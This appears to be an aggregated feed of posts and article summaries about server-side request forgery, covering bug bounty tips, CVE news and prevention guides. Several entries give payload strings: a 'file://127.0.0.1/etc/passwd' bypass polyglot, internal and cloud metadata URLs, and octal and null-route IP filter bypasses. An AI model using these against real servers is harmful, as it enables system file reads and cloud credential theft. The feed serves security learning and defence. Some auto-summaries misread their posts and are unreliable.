| 2025-09-30 2025 | KNOXSS v4.3.0 is out! Now with another Blind #XSS payload in a file format to catch Rendered Blind #SSRF-based scenarios Also a regular SSRF-based Reflected Remote XHTML Inclusion. Complete detection list below. knoxss.pro/?page_id=766 #BugBounty #WebAppSec #PenTesting intermediate | KNOXSS v4.3.0 release includes a new Blind XSS payload in a file format for Rendered Blind SSRF-based scenarios and SSRF-based Reflected Remote XHTML Inclusion. The update enhances detection capabilities. More details can be found at knoxss.pro/?page_id=766. The release is relevant for Bug Bounty programs, Web Application Security, and Penetration Testing. |
| 2025-09-29 2025 | Before the next update with #SSRF-based #XSS you can already use our completely free Blind XSS Service with SVG image generator. With that customized image with your unique ID in our system you can host online or upload manually to test Blind SSRF-based scenarios. #BugBounty intermediate | The content introduces a free Blind XSS Service with an SVG image generator to test Blind SSRF-based scenarios before the next update with SSRF-based XSS. Users can create a customized image with a unique ID in the system, which can be hosted online or uploaded manually for testing purposes. The service is offered for Bug Bounty hunters. |
| 2025-09-27 2025 | This version of the polyglot payload below can help in a bypass. The addition of the localhost gives room for most of the traditional host-based SSRF tricks. file://127.0.0.1/etc/passwd?/../passwd #SSRF #LFR #Bypass #BugBounty intermediate | The content discusses a polyglot payload that includes localhost to aid in bypassing security measures. By utilizing file://127.0.0.1/etc/passwd?/../passwd, traditional host-based SSRF tricks can be employed. The post also includes hashtags related to server-side request forgery (SSRF), local file read (LFR), bypass techniques, and bug bounty programs. |
| 2025-09-27 2025 | SSRF Mastery Series - Fundamentals: Master Server-Side Request Forgery advanced 3 min read Bug Bounty | Guide to Server-Side Request Forgery (SSRF) exploitation, this resource details systematic discovery and advanced techniques from industry experts like Orange Tsai, Justin Gardner, and Corben Leo. It covers parser bypasses, TOCTOU DNS attacks, IDNA bypasses, protocol smuggling, and cloud metadata endpoint exploitation, referencing vulnerabilities such as CVE-2025-1974 (IngressNightmare) and methods for achieving five-figure bug bounty rewards. |
| 2025-09-26 2025 | Released check it out! brutelogic.net/ssrf-mastery-s #SSRF #BugBounty #PenTesting beginner | A new release is available on brutelogic.net focusing on SSRF mastery for Bug Bounty and Pen Testing. The content can be accessed at brutelogic.net/ssrf-mastery-s. The release is relevant for those interested in SSRF, Bug Bounty programs, and Pen Testing. |
| 2025-09-26 2025 | SSRF Mastery Series: Fundamentals The Complete Guide to Server-Side Request Forgery Discovery and Exploitation By @RodoAssis @BRuteLogic Check it out! #SSRF #BugBounty #PenTesting #WebAppSec brutelogic.net/ssrf-mastery-s beginner | The content is about an SSRF Mastery Series that provides a comprehensive guide on Server-Side Request Forgery (SSRF) discovery and exploitation by @RodoAssis and @BRuteLogic. The series covers fundamentals and is aimed at Bug Bounty hunters, Penetration Testers, and Web Application Security enthusiasts. The link provided directs to brutelogic.net for more information. #SSRF #BugBounty #PenTesting #WebAppSec. |
| 2025-09-26 2025 | Talking about #SSRF I just got an idea to add SSRF-based #XSS to @KN0X55 ! It's coming in the update next week most probably. #WebAppSec #BugBounty #PenTesting intermediate | The content discusses adding SSRF-based XSS to a platform called @KN0X55 in an upcoming update next week. This idea was inspired by discussions around Server-Side Request Forgery (SSRF). The update aims to enhance security measures, particularly in the realms of web application security, bug bounty programs, and penetration testing. The post also includes relevant hashtags such as #WebAppSec, #BugBounty, and #PenTesting. |
| 2025-09-26 2025 | IMDS Abused: Hunting Rare Behaviors to Uncover Exploits intermediate 10 min read | Library for detecting and mitigating abuse of cloud Instance Metadata Services (IMDS). It details how threat actors exploit IMDS for credential theft and lateral movement, focusing on techniques like Server-Side Request Forgery (SSRF) against IMDSv1 and misconfigured workloads. The library highlights a data-driven approach to anomaly hunting, identifying rare IMDS access patterns, filtering by sensitive metadata paths, and contextualizing compute environments. This methodology led to the discovery of CVE-2025-51591, a zero-day SSRF vulnerability in pandoc, exploited to access sensitive IAM credentials. → wiz.io |
| 2025-09-25 2025 | Web Pentest Tip SSRF 1 What SSRF is 2 Why its dangerous 3 Lab-only vulnerable pattern 4 Mitigation & defenses Always test with authorization. #SSRF #WebSecurity #AppSec #Infosec #OWASP #Pentesting #CloudSecurity beginner | The content provides a web pentest tip on Server-Side Request Forgery (SSRF), covering what SSRF is, why it's dangerous, lab-only vulnerable patterns, and mitigation strategies. It emphasizes the importance of testing with authorization to enhance security. The post includes relevant hashtags such as #SSRF, #WebSecurity, #AppSec, #Infosec, #OWASP, #Pentesting, and #CloudSecurity. |
| 2025-09-25 2025 | Coming ASAP! #SSRF #BugBounty beginner | The content indicates that something related to SSRF (Server-Side Request Forgery) and Bug Bounty is forthcoming soon. The hashtag #SSRF suggests a focus on SSRF vulnerabilities, while #BugBounty implies a potential reward for identifying and reporting bugs. The link provided likely leads to more details or updates on this upcoming development. |
| 2025-09-25 2025 | Side-by-Side Comparison of SSRF vs. CSRF | Attaxion beginner 9 min read CSRF | Reference comparing SSRF and CSRF attacks, detailing how Server-Side Request Forgery (SSRF), a CWE-918 vulnerability listed in OWASP Top 10 2021, targets the backend server to make unauthorized requests to internal or external resources, as seen in the Capital One breach and Microsoft Exchange attacks. Cross-Site Request Forgery (CSRF) targets the user's browser, tricking authenticated users into submitting unwanted requests by exploiting session cookies. |
| 2025-09-24 2025 | Proud to share I discovered MULTIPLE SSRF bypasses in the NPM ip lib (v2.0.1 10M weekly downloads): Null Route Bypass ("0") - CVE-2025-59437 Octal Format Bypass ("017700000001") - CVE-2025-59436 Impact: complete bypass of SSRF protections. #AppSec #SSRF #supplychainsecurity intermediate | Multiple SSRF bypasses were discovered in the NPM ip lib (v2.0.1, 10M weekly downloads): Null Route Bypass ("0") - CVE-2025-59437 and Octal Format Bypass ("017700000001") - CVE-2025-59436. These bypasses allow for a complete bypass of SSRF protections, impacting supply chain security. #AppSec #SSRF #supplychainsecurity. |
| 2025-09-24 2025 | Hackers Exploit Pandoc CVE-2025-51591 to Target AWS IMDS and Steal EC2 IAM Credentials news 3 min read | Writeup of CVE-2025-51591, a Server-Side Request Forgery (SSRF) vulnerability in Pandoc, exploited in attacks targeting Amazon Web Services (AWS) Instance Metadata Service (IMDS) to steal EC2 IAM credentials. The flaw, triggered by specially crafted HTML iframe elements, allows attackers to trick applications running on EC2 instances into requesting sensitive metadata. While IMDSv2 enforcement mitigates this specific attack, the incident highlights the ongoing threat of SSRF against cloud infrastructure, similar to past abuses of Adminer. Mitigation involves using Pandoc's sandbox flags or ensuring IMDSv2 is enforced. → thehackernews.com |
| 2025-09-23 2025 | SRF vs CSRF arent the same One targets the server The other the user See the side by side comparison & protection tips: #Cybersecurity #SSRF #CSRF #Attaxion beginner | The content highlights the differences between Server-Side Request Forgery (SSRF) and Cross-Site Request Forgery (CSRF). SSRF targets the server, while CSRF targets the user. The post suggests viewing a side-by-side comparison and offers protection tips for both vulnerabilities. It emphasizes the importance of cybersecurity and includes hashtags for SSRF, CSRF, and Attaxion. |
| 2025-09-23 2025 | Server leaking secrets? Thats SSRF! Conquered Intro to SSRF on @TryHackMe. Tips: 1) Tweak URL params (e.g. 127.0.0.1) for recon. 2) Use Burp Collaborator for blind SSRF. 3) Whitelist URLs. Whos next? #CyberSec #SSRF #TryHackMe intermediate | The content discusses Server-Side Request Forgery (SSRF) vulnerabilities and provides tips for exploiting them, such as manipulating URL parameters for reconnaissance, utilizing Burp Collaborator for blind SSRF attacks, and whitelisting URLs for protection. The author shares their success in mastering an "Intro to SSRF" challenge on TryHackMe and encourages others to try it. The post is tagged with #CyberSec, #SSRF, and #TryHackMe. |
| 2025-09-23 2025 | Warning: New #Flowise vulnerabilities were published. CVE-2025-59527 (CVSS 7.5) is a #SSRF vulnerability. CVE-2025-59528 (CVSS 10.0) could result in #RCE. Keep an eye on future security bulletins and #Patch #Patch #Patch news | New vulnerabilities in #Flowise have been disclosed: CVE-2025-59527 is a #SSRF vulnerability with a CVSS score of 7.5, while CVE-2025-59528 poses a more severe risk with a CVSS score of 10.0, potentially leading to #RCE. It is crucial to stay updated on security bulletins and promptly apply patches to mitigate these vulnerabilities. #Patch #Patch #Patch. |
| 2025-09-22 2025 | Servers making secret calls? SSRF attacks can expose internal systems! Prevent it: Validate & sanitize all user-input URLs. Test your endpoints with #DentiScan. #SSRF #CyberSecurity #WebSecurity beginner | SSRF attacks can expose internal systems by tricking servers into making secret calls. To prevent this, validate and sanitize all user-input URLs. Test your endpoints using #DentiScan for improved cybersecurity and web security. #SSRF #CyberSecurity #WebSecurity. |
| 2025-09-22 2025 | MEDIUM severity alert: MuYuCMS 2.02.7 vulnerable to SSRF via Add Friend Link! Remote attackers can probe internal resources. Audit & restrict input now. Details: #OffSeq #MuYuCMS #SSRF news | MuYuCMS version 2.0-2.7 is susceptible to SSRF through the Add Friend Link, allowing remote attackers to access internal resources. It is advised to audit and limit input to prevent exploitation. This vulnerability poses a medium severity risk and should be addressed promptly. #OffSeq #MuYuCMS #SSRF |
| 2025-09-21 2025 | Flask 3.1.1 SSRF Zero-Day Shodan dork exposed 500 targets 0day PoC (CWE-918) Full Article: nullsecurityx.codes/ssrf-vulnerabi Video: youtube.com/watch?v=Levx_p Responsible disclosure & defensive demo only. #infosec #vulnerability #SSRF #BugBounty news | A zero-day vulnerability in Flask 3.1.1 related to SSRF was exposed through a Shodan dork, revealing 500+ potential targets. A proof of concept (PoC) for this vulnerability (CWE-918) was shared. The full article and a video demonstrating the issue were provided. The disclosure was done responsibly, and a defensive demo was included. The content emphasizes information security, vulnerability, SSRF, and Bug Bounty programs. The details can be found at nullsecurityx.codes/ssrf-vulnerabi and the video is available on YouTube. |
| 2025-09-21 2025 | New video: Flask 3.1.1 SSRF Zero-Day Shodan dork exposed 500 targets 0day PoC (CWE-918). Watch now youtube.com/watch?v=Levx_p Responsible disclosure & defensive demo only. #infosec #vulnerability #SSRF #BugBounty news | A new video exposes a Flask 3.1.1 SSRF Zero-Day vulnerability using a Shodan dork that revealed 500+ targets with a 0day Proof of Concept (CWE-918). The content emphasizes responsible disclosure and includes a defensive demo. The video can be watched on YouTube. The focus is on information security, vulnerability, SSRF, and Bug Bounty programs. |
| 2025-09-21 2025 | PREMIERE TONIGHT: Flask 3.1.1 SSRF Zero-Day (CWE-918) 8:00 PM (03) In this video: Discover 500 potential targets via Shodan dork PoC demo Turn on notifications so you dont miss it! Watch here: youtube.com/watch?v=Levx_p #BugBounty #CyberSecurity #SSRF news | A video premiering tonight at 8:00 PM showcases a Flask 3.1.1 SSRF Zero-Day vulnerability (CWE-918). The content includes a demonstration of discovering 500 potential targets using Shodan dork. Viewers are encouraged to turn on notifications to not miss the premiere. The video link is provided for watching. The focus is on Bug Bounty, Cybersecurity, and SSRF. |
| 2025-09-20 2025 | How Tenable Found a Way To Bypass a Patch for BentoMLs Server-Side Request Forgery Vulnerability CVE-2025-54381 news 6 min read | Analysis of CVE-2025-54381 details how Tenable Research discovered a patch bypass for a critical Server-Side Request Forgery vulnerability in BentoML. The bypass exploits the absence of DNS rebinding protection, allowing attackers to first resolve a domain to a public IP that passes BentoML's validation, and then resolve it to a private or loopback IP on subsequent requests to access restricted resources. Users should update to BentoML version 1.4.22 or later. → securityboulevard.com |
| 2025-09-20 2025 | You are Legend whatsapp.com/channel/0029Vb #BugBounty #SSRF #CVE2025 news | The content refers to a potential bug bounty opportunity related to SSRF (Server-Side Request Forgery) and CVE-2025. It mentions a link (whatsapp.com/channel/0029Vb) and encourages individuals to explore it for a chance to showcase their skills in identifying security vulnerabilities. The post suggests that participants could potentially earn rewards for discovering and reporting any bugs or vulnerabilities found in the specified channel. |
| 2025-09-20 2025 | We discovered an SSRF vulnerability in Flask 3.1.1 (CVE-2025-XXXX)! Our full video will be live soon on YouTube and blog For now early details are available only on our WhatsApp channel: whatsapp.com/channel/0029Vb #BugBounty #Cybersecurity #SSRF #Flask news | A SSRF vulnerability was found in Flask 3.1.1 (CVE-2025-XXXX). Details are shared on a WhatsApp channel, with a full video coming soon on YouTube and a blog. The discovery is related to Bug Bounty, Cybersecurity, SSRF, and Flask. Stay tuned for more information. |
| 2025-09-17 2025 | SSRF via image upload: Server fetches image URLs to resize. Attacker supplies http://internal-api/admin. Blind SSRF internal admin access. #BugBountyTips #SSRF #LogicFlaws intermediate | The content discusses a Server-Side Request Forgery (SSRF) vulnerability through image upload where the server fetches image URLs to resize. An attacker can exploit this by supplying a malicious URL like http://internal-api/admin, gaining blind SSRF access to internal admin functions. This vulnerability highlights the importance of addressing logic flaws in web applications to prevent unauthorized access. The post also includes relevant hashtags like #BugBountyTips, #SSRF, and #LogicFlaws. |
| 2025-09-16 2025 | Metadata SSRF: SSRF to cloud metadata returns short-lived creds. Chain SSRF metadata use creds to call IMDS and pivot into cloud resources. #BugBountyTips #SSRF #CloudSecurity intermediate | The content discusses a security vulnerability called Metadata SSRF, where Server-Side Request Forgery (SSRF) is used to access cloud metadata and obtain short-lived credentials. By chaining SSRF to access metadata and using the obtained credentials to call the Instance Metadata Service (IMDS), attackers can pivot into cloud resources. This poses a risk to cloud security. The post also includes hashtags related to Bug Bounty Tips, SSRF, and Cloud Security. |
| 2025-09-15 2025 | Server-Side Request Forgery: What It Is & How To Fix It beginner 8 min read | Library for detecting and preventing Server-Side Request Forgery (SSRF), a critical vulnerability where attackers trick servers into accessing internal resources. It covers how SSRF exploits cloud metadata services, internal APIs, and sensitive systems, and recommends strict input validation, egress controls, and API security best practices, referencing techniques seen in the Capital One breach and tools like SSRFire and ZAP. → wiz.io |
| 2025-09-14 2025 | Been diving into SSRF this week. Still feels a bit confusing Its one of those vulnerabilities that opens a huge rabbit hole once you start connecting the dots. #BugBounty #SSRF #AppSec #CloudSecurity #InfoSec beginner | The author has been exploring SSRF (Server-Side Request Forgery) this week and finds it confusing. SSRF is a vulnerability that leads to a complex investigation once connections are made. The post mentions #BugBounty, #SSRF, #AppSec, #CloudSecurity, and #InfoSec. |
| 2025-09-14 2025 | Dive into the world of ethical hacking with this real-world cybersecurity challenge! In this video we demonstrate how open redirection and SSRF. #cybersecurity #ethicalhacking #ssrf #openredirection intermediate | The content highlights a real-world cybersecurity challenge focusing on open redirection and SSRF. It invites viewers to explore ethical hacking through a video demonstration. Key hashtags include #cybersecurity, #ethicalhacking, #ssrf, and #openredirection. The video aims to provide practical insights into these cybersecurity concepts. |
| 2025-09-10 2025 | GitLab patched six critical vulnerabilities including CVE-2025-6454 enabling SSRF via webhook headers and DoS through SAML response file uploads and token ops. Discovered via HackerOne bounty. #GitLab #SSRF #BugBounty news | GitLab addressed six critical vulnerabilities, notably CVE-2025-6454, allowing SSRF via webhook headers and DoS through SAML response, file uploads, and token ops. These issues were identified through a HackerOne bounty program. The vulnerabilities have been patched to enhance the security of GitLab. #GitLab #SSRF #BugBounty. |
| 2025-09-10 2025 | GitLab Patches Vulnerabilities Allowing Denial of Service and SSRF Attacks news 2 min read | Patches for GitLab Community Edition and Enterprise Edition address critical vulnerabilities including SSRF (CVE-2025-6454) in Webhook custom headers, and high-severity DoS flaws (CVE-2025-2256, CVE-2025-1250) related to SAML responses and user-controllable fields. Medium-severity DoS and information disclosure issues are also fixed. Administrators must upgrade to specific patch versions (18.3.2, 18.2.6, 18.1.6) to prevent unauthorized internal requests and resource exhaustion. → cyberpress.org |
| 2025-09-10 2025 | Multiple Vulnerabilities in GitLab Patched Blocking DoS and SSRF Attack Vectors news 2 min read | Library update patching six GitLab vulnerabilities, including CVE-2025-6454 (SSRF via webhook headers) and CVE-2025-2256 (DoS via SAML response manipulation), along with other DoS vectors (CVE-2025-1250, CVE-2025-7337), token-related issues (CVE-2025-10094), and information disclosure (CVE-2025-6769). Immediate upgrades are crucial for self-managed installations. → gbhackers.com |
| 2025-09-10 2025 | GitLab Patches Multiple Vulnerabilities That Enables Denial Of Service and SSRF Attacks news 2 min read | Patches for GitLab CE/EE address six vulnerabilities, including high-severity SSRF (CVE-2025-6454) allowing authenticated users to trigger unintended internal requests via Webhook custom headers, and DoS (CVE-2025-2256) exploitable by unauthenticated attackers sending SAML responses. Medium-severity flaws also patched include DoS vulnerabilities CVE-2025-1250, CVE-2025-7337, CVE-2025-10094, and information disclosure CVE-2025-6769. → cybersecuritynews.com |
| 2025-09-08 2025 | New Research Alert! CVE-2025-8085 Unauthenticated SSRF in the WordPress Ditty plugin could allow attackers to pivot through your server into internal networks! Dive deep into the technical analysis and PoC here nullsecurityx.codes/cve-2025-8085- #WordPress #SSRF #BugBounty news | A new vulnerability, CVE-2025-8085, in the WordPress Ditty plugin allows unauthenticated SSRF attacks, potentially enabling attackers to access internal networks. Detailed technical analysis and a Proof of Concept (PoC) are available for review. The vulnerability poses a risk of server compromise and network infiltration. Stay informed about WordPress security issues and consider applying patches or updates to mitigate this threat. #WordPress #SSRF #BugBounty. |
| 2025-09-08 2025 | Server-Side Request Forgery (SSRF) Attackers trick servers into making malicious requests. Validate URLs restrict network access use allowlists. #SSRF #WebAppSec beginner | Server-Side Request Forgery (SSRF) involves attackers tricking servers into making malicious requests. To prevent SSRF attacks, it is crucial to validate URLs, restrict network access, and utilize allowlists. These measures help in controlling and securing server interactions, reducing the risk of unauthorized access and potential security breaches. #SSRF #WebAppSec. |
| 2025-09-07 2025 | Exploited xmlrpc.php can be abused to trigger Blind SSRF via pingback.ping Old feature modern risk. #BugBounty #SSRF #infosec #appsec #CyberTamarin cybertamarin.medium.com/exploiting-wor intermediate | The article discusses how the xmlrpc.php file can be exploited to trigger Blind Server-Side Request Forgery (SSRF) through the pingback.ping feature, highlighting the potential risks associated with this old feature in modern applications. The content emphasizes the relevance of this vulnerability in Bug Bounty programs and the fields of information security and application security. The author provides insights into exploiting this issue and its implications. The article can be found at cybertamarin.medium.com/exploiting-wor. |
| 2025-09-07 2025 | A high-severity flaw (CVE-2025-58179) in Astro's Cloudflare adapter allows attackers to bypass domain restrictions leading to SSRF and XSS attacks. #Astro #Cloudflare #Vulnerability #SSRF #WebSecurity securityonline.info/cve-2025-58179 news | A critical vulnerability (CVE-2025-58179) in Astro's Cloudflare adapter enables attackers to evade domain restrictions, potentially triggering SSRF and XSS attacks. The flaw poses a significant risk to web security. #Astro #Cloudflare #Vulnerability #SSRF #WebSecurity. |
| 2025-09-06 2025 | Web apps arent just about login screens. From blind SQL injection to SSRF and GraphQL flaws exploitation goes way beyond the basics. Hackers know it. Do you? #WebSecurity #CyberSecurity #HackingTips #SQLInjection #SSRF #APIsecurity beginner | The content highlights that web app security extends beyond login screens, covering vulnerabilities like blind SQL injection, SSRF, and GraphQL flaws. It emphasizes the importance of understanding these advanced exploitation techniques to enhance web security. The post prompts readers to assess their knowledge in this area and includes hashtags related to web security, cybersecurity, hacking tips, SQL injection, SSRF, and API security. |
| 2025-09-06 2025 | Cloud Metadata & Full Account Takeover Weve published the full article! Dive deeper into SSRF chaining cloud metadata access and full account takeover scenarios. Read the article: Video: #SSRF #BugBounty advanced | The content discusses cloud metadata access and full account takeover through SSRF chaining. It invites readers to explore the detailed article and video on these scenarios. The focus is on understanding the risks associated with SSRF vulnerabilities and how they can lead to compromising cloud accounts. The content encourages readers to delve deeper into the topic to enhance their knowledge about potential security threats. |
| 2025-09-06 2025 | New Video Alert! Learn how SSRF vulnerabilities can escalate to full cloud account takeover! Dive into advanced techniques cloud metadata access and Python exploit examples. Watch now: #SSRF #CyberSecurity #EthicalHacking #BugBounty intermediate | The content is about a new video discussing SSRF vulnerabilities leading to cloud account takeover. It covers advanced techniques, cloud metadata access, and Python exploit examples. The video is aimed at those interested in cybersecurity, ethical hacking, and bug bounty programs. It invites viewers to watch and learn more about SSRF vulnerabilities and their potential impact on cloud security. |
| 2025-09-03 2025 | Sometimes it's as easy as this #ssrf beginner | The content suggests that solutions can sometimes be simple, indicated by the hashtag #ssrf. It implies that finding resolutions to problems may not always be complicated. The link provided seems to lead to further information or context related to this idea. |
| 2025-09-02 2025 | I found an SSRF vuln scared because of teapot_bugcrowd @Bugcrowd coz if they get my report they will definitely closes as N/A without read the report! #BugBounty #bugcrowd #bughunting #ssrf beginner | The content mentions the discovery of a Server-Side Request Forgery (SSRF) vulnerability by the user, who is concerned about reporting it to Bugcrowd due to fears that it may be closed without being read. The user expresses worry that the report will be marked as "N/A" without proper review. The post includes hashtags related to bug bounty programs, bug hunting, and SSRF. |
| 2025-09-01 2025 | Critical SSRF flaw in Docker Desktop containers lets attackers bypass isolation and hit the host directly. Patch now validate your network interfaces and watch out for unauthorized internal calls. Check the details here: #Docker #SSRF #CyberSecurity news | A critical SSRF flaw in Docker Desktop allows attackers to bypass isolation and access the host directly. It is crucial to patch the vulnerability, validate network interfaces, and monitor for unauthorized internal calls. Stay vigilant about security measures to prevent potential breaches. #Docker #SSRF #CyberSecurity. |
| 2025-09-01 2025 | Server-Side Request Forgery (SSRF) Attackers trick servers into making malicious requests. Validate URLs restrict network access use allowlists. #SSRF #WebAppSec beginner | Server-Side Request Forgery (SSRF) involves tricking servers into sending malicious requests. To prevent this attack, it is crucial to validate URLs, restrict network access, and utilize allowlists. These measures help in safeguarding against SSRF threats and enhancing web application security. #SSRF #WebAppSec. |
| 2025-08-31 2025 | SSRF Vulnerability in WordPress: what it is how attackers abuse it and exactly how to fix it (7 steps code). Guide: #WordPress #SSRF #CyberSecurity #AppSec #WebSecurity #DevSecOps intermediate | The content discusses SSRF vulnerability in WordPress, explaining what it is, how attackers exploit it, and provides a 7-step guide with code to fix it. The guide aims to enhance cybersecurity, application security, web security, and DevSecOps practices related to WordPress. It emphasizes the importance of addressing SSRF vulnerabilities to protect websites from potential attacks. |
| 2025-08-28 2025 | SSRF Tip: Test with payloads like or AWS . Use DNS loggers (Burp Collaborator) for blind SSRF. Prevention: whitelist domains #SSRF #BugBounty #WebSecurity #EthicalHacking intermediate | The content provides a tip for testing SSRF vulnerabilities using payloads like `http://169.254.169.254` or AWS. It suggests using DNS loggers like Burp Collaborator for blind SSRF testing. Prevention advice includes whitelisting domains. The post is related to SSRF, Bug Bounty, Web Security, and Ethical Hacking, emphasizing the importance of testing and securing against SSRF vulnerabilities. |
| 2025-08-26 2025 | A new report reveals a critical SSRF vulnerability in the PhpSpreadsheet library. The flaw could allow attackers to access internal networks and sensitive data. #CyberSecurity #PHP #Vulnerability #SSRF #OpenSource news | A critical SSRF vulnerability in the PhpSpreadsheet library has been reported, potentially enabling attackers to access internal networks and sensitive data. This flaw poses a significant risk to cybersecurity and highlights the importance of addressing vulnerabilities promptly in open-source software like PhpSpreadsheet. #CyberSecurity #PHP #Vulnerability #SSRF #OpenSource |
| 2025-08-22 2025 | #Day_13 of my bug bounty journey Studying: 0 h Hunting: 4:17 h Bugs&Reports: Just keep going... #bugbounty #ssrf beginner | On Day 13 of the bug bounty journey, no time was spent studying, but 4 hours and 17 minutes were dedicated to hunting bugs. The focus was on persevering and continuing the bug bounty efforts. The hashtags #bugbounty and #ssrf were used to categorize the post. |
| 2025-08-21 2025 | #Day_12 of my bug bounty journey Studying: 0 h Hunting: 6:37 h Bugs&Reports: SSRF is confirmed and working but it's a filtered one. The server allows external requests but blocks all attempts to hit internal endpoints. Time to find a bypass. #bugbounty #ssrf intermediate | On Day 12 of the bug bounty journey, the focus was on hunting for bugs, spending 6 hours and 37 minutes. An SSRF vulnerability was confirmed but found to be filtered, allowing external requests but blocking internal ones. The challenge now is to discover a bypass for this filter. The post highlights the ongoing bug bounty journey, emphasizing the need to overcome the filtering obstacle in exploiting the SSRF vulnerability. |
| 2025-08-20 2025 | SSRF to Internal Access: The Hidden Risk Attackers no longer just knock on your front door they trick your server into opening side doors for them. #CyberSecurity #SSRF #CloudSecurity #ThreatHunting #AZEFOX #InfoSec #DataSecurity #ApplicationSecurity #CyberResilience beginner | The content discusses the hidden risk of attackers exploiting Server-Side Request Forgery (SSRF) to gain internal access by tricking servers into opening side doors. This method allows attackers to bypass traditional security measures and access sensitive data. The post emphasizes the importance of cybersecurity, cloud security, threat hunting, data security, and cyber resilience in protecting against such attacks. #CyberSecurity #SSRF #CloudSecurity #ThreatHunting #AZEFOX #InfoSec #DataSecurity #ApplicationSecurity #CyberResilience. |
| 2025-08-19 2025 | Zero Day Quest training: Cloudy with a chance of SSRF beginner | Michael Fowl from the Microsoft Security Response Center leads a training session on Server-Side Request Forgery (SSRF) in the cloud. The session delves into the significance of SSRF vulnerabilities and their impact on cloud security. |
| 2025-08-16 2025 | Live Hacking Demo! Were exploiting SSRF in JIRA and chaining it into XSS for maximum impact. Learn how attackers think identify weak points and chain vulnerabilities step-by-step! Watch now: #BugBounty #SSRF #XSS intermediate | The content showcases a live hacking demo exploiting Server-Side Request Forgery (SSRF) in JIRA and chaining it into Cross-Site Scripting (XSS) for a significant impact. It aims to educate viewers on attackers' thought processes, identifying weak points, and chaining vulnerabilities systematically. The demo emphasizes learning through practical examples. Viewers are encouraged to watch the demonstration to understand the techniques used in bug bounty hunting related to SSRF and XSS. The link provided directs users to the video. |
| 2025-08-14 2025 | Discovered & reported a High (CVSS 7.1) Full SSRF in Microsoft SharePoint CVE-2025-53760 now fixed Admins: check the latest Patch Tuesday and update! Advisory: #infosec #BugBounty #SharePoint #CVE #SSRF news | A high-risk Server-Side Request Forgery (SSRF) vulnerability (CVSS 7.1) in Microsoft SharePoint (CVE-2025-53760) was discovered and reported, now fixed. Admins are advised to check the latest Patch Tuesday updates for Microsoft SharePoint and apply them promptly. The advisory includes hashtags related to information security, bug bounty programs, SharePoint, CVE, and SSRF. |
| 2025-08-14 2025 | CRITICAL SSRF alert in makeplane plane 0.23.1! Password recovery flaw risks internal exposure for EU orgs. Audit & restrict now while awaiting patch. More: radar.offseq.com/threat/cve-202 #OffSeq #SSRF #Cybersecurity news | A critical Server-Side Request Forgery (SSRF) vulnerability in makeplane plane 0.23.1 poses a password recovery flaw that risks internal exposure for EU organizations. It is advised to audit and restrict access while waiting for a patch. More information can be found at radar.offseq.com/threat/cve-202. This alert highlights the importance of cybersecurity measures to prevent potential breaches. #OffSeq #SSRF #Cybersecurity. |
| 2025-08-14 2025 | Crushing bugs one lab at a time! Another PortSwigger Web Security Academy challenge SSRF with Whitelist-Based Input Filter. #CyberSecurity #PortSwigger #SSRF #WebSecurity #BugBounty #TechandAction #TechInAction intermediate | The content highlights a cybersecurity challenge from PortSwigger Web Security Academy focusing on SSRF with a Whitelist-Based Input Filter. The post emphasizes bug crushing in labs, showcasing a hands-on approach to cybersecurity. It also includes relevant hashtags like #CyberSecurity, #PortSwigger, #SSRF, #WebSecurity, #BugBounty, #TechandAction, and #TechInAction. The challenge aims to enhance skills in identifying and mitigating security vulnerabilities. |
| 2025-08-14 2025 | A10 Server Side Request Forgery (SSRF) - OWASP Top 10:2021 beginner | The content mentions A10 Server Side Request Forgery (SSRF) as part of the OWASP Top 10:2021 list. SSRF is a vulnerability where an attacker can manipulate a server into making unauthorized requests, potentially leading to data breaches or server exploitation. This issue is significant in web security and is highlighted in the latest OWASP Top 10 list as a critical concern for organizations to address to protect their systems and data. → owasp.org |
| 2025-08-14 2025 | SSRF in real life. Introduction | by Mickael Jeanroy | Alan Product and Technical Blog | Medium beginner | The content titled "SSRF in real life. Introduction" by Mickael Jeanroy on the Alan Product and Technical Blog on Medium discusses Server-Side Request Forgery (SSRF) attacks. The article likely delves into real-world examples, implications, and prevention strategies related to SSRF vulnerabilities. Mickael Jeanroy may provide insights, tips, or case studies to help readers understand and address SSRF risks effectively. |
| 2025-08-14 2025 | Server-Side Request Forgery (SSRF) beginner 7 min read | Library for understanding and preventing Server-Side Request Forgery (SSRF), a vulnerability (CWE-918) where an attacker manipulates user-supplied URLs to force an application server to make unintended requests to internal or external systems. The library covers SSRF targets like localhost, private IPs, and cloud metadata endpoints, as well as exploitation techniques using schemes like `file://`. It distinguishes SSRF from CSRF and highlights its increased relevance in cloud-native and API-heavy architectures, referencing the Capital One breach as a notable example. Prevention strategies include validating URLs, restricting protocols, and using allowlists. → invicti.com |
| 2025-08-14 2025 | Critical SSRF vulnerability in Microsoft Copilot Studio news 7 min read | Writeup detailing a critical Server-Side Request Forgery (SSRF) vulnerability in Microsoft Copilot Studio. This vulnerability allowed researchers to bypass SSRF protections by using HTTP 301 redirects, ultimately accessing the Instance Metadata Service (IMDS) and internal Cosmos DB instances. The bypass technique involved redirecting requests to an attacker-controlled server, which then redirected back to the restricted target, and a novel method of inserting newlines into header values to bypass IMDS header requirements. → tenable.com |
| 2025-08-14 2025 | Detect SSRF Attacks in Cloud Applications and APIs | Datadog intermediate 3 min read API Sec | Library for detecting Server-Side Request Forgery (SSRF) attacks in cloud applications and APIs. It highlights common SSRF techniques, vulnerabilities in outdated libraries like Jackson and Apache, and the risks associated with cloud metadata services such as Amazon EC2 IMDS. The library offers detection methods by monitoring API call response timings and patterns, including requests to sensitive domains like metadata.google.internal or malformed URLs. Datadog Application and API Protection (AAP) is presented as a solution with out-of-the-box detection rules and WAF capabilities to block malicious IPs. |
| 2025-08-14 2025 | How to Prevent Server-Side Request Forgery | Evolve Security intermediate 5 min read | Guide on preventing Server-Side Request Forgery (SSRF) attacks, explaining common targets like applications importing data from URLs and the impact of data breaches and unauthorized internal access. It details regular and blind SSRF types, recommending input validation, allowlists for URLs/IPs, secure third-party services, logging, and regular security testing. Evolve Security offers SSRF mitigation solutions. |
| 2025-08-14 2025 | What is Server-side request forgery? beginner 22 min read | Library for detecting and preventing Server-Side Request Forgery (SSRF) vulnerabilities, which enable attackers to trick servers into making unauthorized requests to internal or external resources. This library addresses the growing threat landscape where SSRF attacks surged 452% between 2023-2024, exacerbated by AI-powered tools. It highlights key exploits like CVE-2025-61882 in Oracle E-Business Suite and discusses techniques such as exploiting cloud metadata services, abusing protocol handlers, and blind SSRF methods. The library aims to equip security professionals with the means to defend against these attacks, which bypass traditional perimeter controls by leveraging trust relationships between servers. |
